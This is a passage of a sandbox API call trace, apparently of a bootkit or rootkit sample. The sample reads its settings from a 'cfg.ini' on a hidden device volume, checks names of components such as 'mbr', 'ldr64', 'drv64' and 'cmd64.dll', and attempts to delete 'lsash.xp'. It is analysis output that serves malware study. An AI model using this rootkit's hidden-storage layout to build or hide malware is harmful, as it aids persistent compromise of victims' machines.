ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.089] KeLeaveCriticalRegion () [0118.089] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.089] KeEnterCriticalRegion () [0118.089] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.089] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.089] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.089] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.089] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.089] IdePortDispatch () returned 0x103 [0118.089] KeWaitForMutexObject () returned 0x0 [0118.090] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.090] KeLeaveCriticalRegion () [0118.090] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.090] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.090] KeEnterCriticalRegion () [0118.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.090] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c68000 [0118.090] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.090] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.090] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.090] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.090] IdePortDispatch () returned 0x103 [0118.090] KeWaitForMutexObject () returned 0x0 [0118.090] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.090] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.090] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.090] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.090] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.090] IdePortDispatch () returned 0x103 [0118.091] KeWaitForMutexObject () returned 0x0 [0118.091] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.091] KeLeaveCriticalRegion () [0118.091] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.091] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.091] KeEnterCriticalRegion () [0118.091] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.091] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.091] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.091] KeLeaveCriticalRegion () [0118.091] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.091] KeEnterCriticalRegion () [0118.091] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.092] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.092] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d2070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.092] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.092] KeLeaveCriticalRegion () [0118.092] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.092] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.092] KeEnterCriticalRegion () [0118.092] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.092] ExFreePoolWithTag (P=0xfffffa80039d1120, Tag=0x0) [0118.092] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.092] KeLeaveCriticalRegion () [0118.092] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.092] ReleaseMutex (hMutex=0xf0) returned 1 [0118.092] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.092] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.092] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.092] KeEnterCriticalRegion () [0118.092] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.092] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.092] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.092] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.092] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.092] IdePortDispatch () returned 0x103 [0118.092] KeWaitForMutexObject () returned 0x0 [0118.092] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.092] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.092] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.093] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.093] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.093] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6060 [0118.093] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.093] KeLeaveCriticalRegion () [0118.093] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.093] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.093] KeEnterCriticalRegion () [0118.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.093] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.093] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.093] KeLeaveCriticalRegion () [0118.093] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.093] KeEnterCriticalRegion () [0118.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.093] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.093] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.093] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.093] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.093] IdePortDispatch () returned 0x103 [0118.093] KeWaitForMutexObject () returned 0x0 [0118.093] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.093] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.093] KeLeaveCriticalRegion () [0118.093] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.093] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.094] KeEnterCriticalRegion () [0118.094] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.094] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c69000 [0118.094] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.094] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.094] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.094] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.094] IdePortDispatch () returned 0x103 [0118.094] KeWaitForMutexObject () returned 0x0 [0118.094] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.094] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.094] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.094] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.094] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.094] IdePortDispatch () returned 0x103 [0118.094] KeWaitForMutexObject () returned 0x0 [0118.094] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.094] KeLeaveCriticalRegion () [0118.094] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.095] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.095] KeEnterCriticalRegion () [0118.095] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.095] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.095] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.095] KeLeaveCriticalRegion () [0118.095] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.095] KeEnterCriticalRegion () [0118.095] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.095] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.095] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d1630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.095] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.095] KeLeaveCriticalRegion () [0118.095] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.095] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.095] KeEnterCriticalRegion () [0118.095] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.095] ExFreePoolWithTag (P=0xfffffa8003aa6060, Tag=0x0) [0118.095] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.096] KeLeaveCriticalRegion () [0118.096] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.096] ReleaseMutex (hMutex=0xf0) returned 1 [0118.096] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.096] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.096] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.096] KeEnterCriticalRegion () [0118.096] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.096] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.096] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.096] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.096] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.096] IdePortDispatch () returned 0x103 [0118.096] KeWaitForMutexObject () returned 0x0 [0118.096] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.096] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.096] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.096] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.096] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.096] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6120 [0118.096] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.096] KeLeaveCriticalRegion () [0118.096] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.096] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.096] KeEnterCriticalRegion () [0118.097] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.097] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.097] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.097] KeLeaveCriticalRegion () [0118.097] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.097] KeEnterCriticalRegion () [0118.097] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.097] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.097] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.097] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.097] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.097] IdePortDispatch () returned 0x103 [0118.097] KeWaitForMutexObject () returned 0x0 [0118.097] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.097] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.097] KeLeaveCriticalRegion () [0118.097] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.097] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.097] KeEnterCriticalRegion () [0118.097] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.097] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c6a000 [0118.097] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.097] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.097] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.097] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.097] IdePortDispatch () returned 0x103 [0118.098] KeWaitForMutexObject () returned 0x0 [0118.098] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.098] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.098] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.098] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.098] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.098] IdePortDispatch () returned 0x103 [0118.098] KeWaitForMutexObject () returned 0x0 [0118.098] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.098] KeLeaveCriticalRegion () [0118.098] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.099] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.099] KeEnterCriticalRegion () [0118.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.099] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.099] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.099] KeLeaveCriticalRegion () [0118.099] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.099] KeEnterCriticalRegion () [0118.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.099] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.099] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa64b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.099] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.099] KeLeaveCriticalRegion () [0118.099] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.099] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.099] KeEnterCriticalRegion () [0118.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.099] ExFreePoolWithTag (P=0xfffffa8003aa6120, Tag=0x0) [0118.099] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.099] KeLeaveCriticalRegion () [0118.100] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.100] ReleaseMutex (hMutex=0xf0) returned 1 [0118.100] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.100] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.100] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.100] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.100] KeEnterCriticalRegion () [0118.100] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.100] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.100] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.100] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.100] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.100] IdePortDispatch () returned 0x103 [0118.100] KeWaitForMutexObject () returned 0x0 [0118.100] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.100] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.100] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.100] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.100] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.100] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.100] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.100] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.100] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.100] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.100] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.100] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.101] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.101] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.101] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.101] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.101] KeLeaveCriticalRegion () [0118.101] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.101] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.101] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.101] KeEnterCriticalRegion () [0118.101] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.101] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.101] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.101] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.101] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.101] IdePortDispatch () returned 0x103 [0118.101] KeWaitForMutexObject () returned 0x0 [0118.101] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.101] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.101] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.101] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.101] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.101] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.101] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.101] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.101] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.101] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.101] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.101] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.101] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.102] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned 